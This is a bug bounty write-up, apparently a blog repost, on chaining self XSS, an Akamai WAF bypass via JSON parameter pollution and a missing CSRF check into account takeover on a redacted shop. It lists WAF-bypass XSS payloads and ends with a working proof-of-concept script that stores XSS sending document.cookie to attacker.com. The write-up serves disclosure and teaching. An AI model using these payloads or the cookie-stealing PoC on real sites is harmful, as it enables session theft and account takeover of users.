chaining bugs from self XSS to account takeover

3 years ago 215
BOOK THIS SPACE FOR AD
ARTICLE AD

ingredients for P2 account takeover=
self XSS + WAF bypass + csrf bypass

Behnam Yazdanpanah

account takeover

Hi, my name is beya and this is my first write up so please take easy on me .

today I want to talk about how I was able to chain simple bugs together and create high severity vulnerability as P2 account take over.

last week I started hunting on online shop let’s call it the famous redacted.com and it was written on PHP behind Akamai WAF.

FIRST XSS and WAF bypass:

after a little bit of working on the app, I found an endpoint completely different from other ones they normally stats with /xhr/mage/account but this one is completely different it was like /xhr_preferences/index/change/ and it hit my attention.
this page was about customer preferences you should answer series of questions like your Birth Date or Which Brand(s) Do You Wish We Stocked? to get personalized product recommendations .

I just simply put HTML injection payload and it works

HTML injection

after that, I tried the most famous XSS payload of all time: “><img src=1 onerror=alert(1)>

and guess what 403 Forbidden Server: AkamaiGHost

i changed request a little bit

after that, I tried almost for 2 hours to bypass the Akamai WAF here are good stuff you can try: https://github.com/Walidhossain010/WAF-bypass-xss-payloads

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;> <marquee+loop=1+width=0+onfinish=’new+Function`al\ert\`1\``’> <svg><circle><set onbegin=prompt(1) attributename=fill> <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> “%3balert`1`%3b” asd”`> onpointerenter=x=prompt,x`XSS` <x onauxclick=import(‘//1152848220/’)>click <x onauxclick=a=alert,a(domain)>click <x onauxclick=import(‘//1152848220/’)>click <x onauxclick=import(‘//xss/’)>click \”<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss {{constructor.constructor(alert`1`)()}} javascript:new%20Function`al\ert\`1\``; https://twitter.com/xhzeem/status/1378316651431612422 https://twitter.com/xhzeem/status/1377992310974218245

but none of them worked and I’m almost run out of ideas.

but none of them worked and I’m almost run out of ideas after taking an espresso and coming back with a fresh mind taking look at my log history and I got surprised in my first name field I was able to store XSS payload but anywhere else it will return 403 Forbidden so what is different in that endpoint???!

request for update customer info

Noting just the request was sent in JSON format and the response was 200 OK but this parameter wasn’t vulnerable to XSS

after that, i immediately change my request to /xhr_preferences/index/change/ endpoint from query-string to JSON

change my request from query-string to JSON

and it returns HTTP/2 302 Found it means I was able to bypass the WAF but it doesn’t got save in my preferences

so what now????
I just need to send a request like this:

{“anything_else”:”iiiiiiiiiiii”}&birth_day=2&birth_month=1&birth_year=2009&brands_to_stock%5B%5D=”><img+src=1+onerror=alert(1)>&anything_else=test

parameter pollution with JSON

and it got triggered

self XSS

congratulations to me on my successful self XSS it’s absolutely worth nothing basically it’s a P5.

now I need to bypass CSRF

second CSRF bypass:

the backend was using a simple mechanism when a users login to their account it will set a COOKIE called CSRF with a random value like
Set-Cookie: csrf=7e3f4ebc6d40b5; Path=/
and whenever I sent a post request it will check if csrf exist in my COOKIE and Header and if they equal it will return 200 OK

and if not it will return

403 Forbidden {“error”:”invalid_request_csrf”}

invalid request csrf

as I told you before the /xhr_preferences/index/change/ endpoint was completely different so I just delete the Csrf header from my request and it worked.

tada now I have everything that I want
This vulnerability allows an attacker to run arbitrary javascript lead to account takeover steps to reproduce the vulnerability

<script>
function loadDoc() {
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
document.getElementById(“demo”).innerHTML = this.responseText;
}

xhttp.open(“POST”, “https://www.redacted.com/xhr_preferences/index/change/");
xhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhttp.withCredentials = true;
xhttp.send(‘{“anything_else”:”iiiiiiiiiiii”}&birth_day=2&birth_month=1&birth_year=2009&brands_to_stock%5B%5D=”><img+src%3dx+onerror%3dthis.src%3d”http%3a//attacker.com/%3fc%3d”%2bdocument.cookie>&anything_else=test’);
}
loadDoc();

setTimeout(()=> {
//loadDoc();
window.location.href = “https://www.redacted.com/xhr_preferences/index/index/";
}, 5000)
</script>

attacker steps:
the attacker just edits the POC.html and change the attacker.com with his/her site and save it

victims step:
1- victim logged in to his/her account
2- victim opens the attacker site

Read Entire Article